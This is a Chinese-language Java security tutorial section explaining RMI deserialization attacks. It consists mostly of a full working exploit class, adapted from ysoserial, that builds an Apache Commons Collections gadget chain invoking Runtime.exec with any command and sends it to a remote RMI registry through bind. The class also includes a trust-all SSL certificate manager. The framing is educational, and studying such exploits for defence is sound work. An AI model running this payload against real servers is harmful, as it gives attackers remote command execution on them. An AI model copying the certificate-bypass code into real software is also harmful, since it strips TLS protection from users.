RMI通信中所有的对象都是通过Java序列化传输的,在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

    既然RMI使用了反序列化机制来传输Remote对象,那么可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。

    首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码,创建一个RMI服务,然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。
    RMI客户端反序列化攻击示例代码:

    1. package com.anbai.sec.rmi;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.LazyMap;
    7. import javax.net.ssl.SSLContext;
    8. import javax.net.ssl.SSLSocketFactory;
    9. import javax.net.ssl.TrustManager;
    10. import javax.net.ssl.X509TrustManager;
    11. import java.io.IOException;
    12. import java.lang.reflect.Constructor;
    13. import java.lang.reflect.InvocationHandler;
    14. import java.lang.reflect.Proxy;
    15. import java.net.Socket;
    16. import java.rmi.ConnectIOException;
    17. import java.rmi.Remote;
    18. import java.rmi.registry.LocateRegistry;
    19. import java.rmi.registry.Registry;
    20. import java.rmi.server.RMIClientSocketFactory;
    21. import java.security.cert.X509Certificate;
    22. import java.util.HashMap;
    23. import java.util.Map;
    24. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
    25. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
    26. /**
    27. * RMI反序列化漏洞利用,修改自ysoserial的RMIRegistryExploit:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
    28. *
    29. * @author yz
    30. */
    31. public class RMIExploit {
    32. // 定义AnnotationInvocationHandler类常量
    33. public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    34. /**
    35. * 信任SSL证书
    36. */
    37. private static class TrustAllSSL implements X509TrustManager {
    38. private static final X509Certificate[] ANY_CA = {};
    39. public X509Certificate[] getAcceptedIssuers() {
    40. return ANY_CA;
    41. }
    42. public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    43. public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    44. }
    45. /**
    46. * 创建支持SSL的RMI客户端
    47. */
    48. private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
    49. public Socket createSocket(String host, int port) throws IOException {
    50. try {
    51. // 获取SSLContext对象
    52. SSLContext ctx = SSLContext.getInstance("TLS");
    53. // 默认信任服务器端SSL
    54. ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
    55. // 获取SSL Socket连接工厂
    56. SSLSocketFactory factory = ctx.getSocketFactory();
    57. // 创建SSL连接
    58. return factory.createSocket(host, port);
    59. } catch (Exception e) {
    60. throw new IOException(e);
    61. }
    62. }
    63. }
    64. /**
    65. * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
    66. *
    67. * @param command 定义需要执行的CMD
    68. * @return Payload
    69. * @throws Exception 生成Payload异常
    70. */
    71. private static InvocationHandler genPayload(String command) throws Exception {
    72. // 创建Runtime.getRuntime.exec(cmd)调用链
    73. Transformer[] transformers = new Transformer[]{
    74. new ConstantTransformer(Runtime.class),
    75. new InvokerTransformer("getMethod", new Class[]{
    76. String.class, Class[].class}, new Object[]{
    77. "getRuntime", new Class[0]}
    78. ),
    79. new InvokerTransformer("invoke", new Class[]{
    80. Object.class, Object[].class}, new Object[]{
    81. null, new Object[0]}
    82. ),
    83. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
    84. };
    85. // 创建ChainedTransformer调用链对象
    86. Transformer transformerChain = new ChainedTransformer(transformers);
    87. // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
    88. final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    89. // 获取AnnotationInvocationHandler类对象
    90. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
    91. // 获取AnnotationInvocationHandler类的构造方法
    92. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    93. // 设置构造方法的访问权限
    94. constructor.setAccessible(true);
    95. // 实例化AnnotationInvocationHandler,
    96. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
    97. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
    98. // 使用动态代理创建出Map类型的Payload
    99. final Map mapProxy2 = (Map) Proxy.newProxyInstance(
    100. ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
    101. );
    102. // 实例化AnnotationInvocationHandler,
    103. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
    104. return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
    105. }
    106. /**
    107. * 执行Payload
    108. *
    109. * @param registry RMI Registry
    110. * @param command 需要执行的命令
    111. * @throws Exception Payload执行异常
    112. */
    113. public static void exploit(final Registry registry, final String command) throws Exception {
    114. // 生成Payload动态代理对象
    115. Object payload = genPayload(command);
    116. String name = "test" + System.nanoTime();
    117. // 创建一个含有Payload的恶意map
    118. Map<String, Object> map = new HashMap();
    119. map.put(name, payload);
    120. // 获取AnnotationInvocationHandler类对象
    121. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
    122. // 获取AnnotationInvocationHandler类的构造方法
    123. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    124. // 设置构造方法的访问权限
    125. constructor.setAccessible(true);
    126. // 实例化AnnotationInvocationHandler,
    127. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
    128. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
    129. // 使用动态代理创建出Remote类型的Payload
    130. Remote remote = (Remote) Proxy.newProxyInstance(
    131. ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
    132. );
    133. try {
    134. // 发送Payload
    135. registry.bind(name, remote);
    136. } catch (Throwable e) {
    137. e.printStackTrace();
    138. }
    139. }
    140. public static void main(String[] args) throws Exception {
    141. if (args.length == 0) {
    142. // 如果不指定连接参数默认连接本地RMI服务
    143. args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
    144. }
    145. // 远程RMI服务IP
    146. final String host = args[0];
    147. // 远程RMI服务端口
    148. final int port = Integer.parseInt(args[1]);
    149. // 需要执行的系统命令
    150. final String command = args[2];
    151. // 获取远程Registry对象的引用
    152. Registry registry = LocateRegistry.getRegistry(host, port);
    153. try {
    154. // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
    155. String[] regs = registry.list();
    156. for (String reg : regs) {
    157. System.out.println("RMI:" + reg);
    158. }
    159. } catch (ConnectIOException ex) {
    160. // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
    161. registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
    162. }
    163. // 执行payload
    164. exploit(registry, command);
    165. }
    166. }

    程序执行后将会在RMI服务端弹出计算器(仅Mac系统,Windows自行修改命令为calc),RMIExploit程序执行的流程大致如下:

    1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
    2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
    3. 使用RemoteStub调用RMI服务端bind指令,并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端
    4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE

    RMI客户端端bind序列化:
    3. RMI反序列化漏洞 - 图1

    上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端
    RMI服务端bind反序列化:
    **3. RMI反序列化漏洞 - 图2
    具体的实现代码在:sun.rmi.registry.RegistryImpl_Skel类的dispatch方法,其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。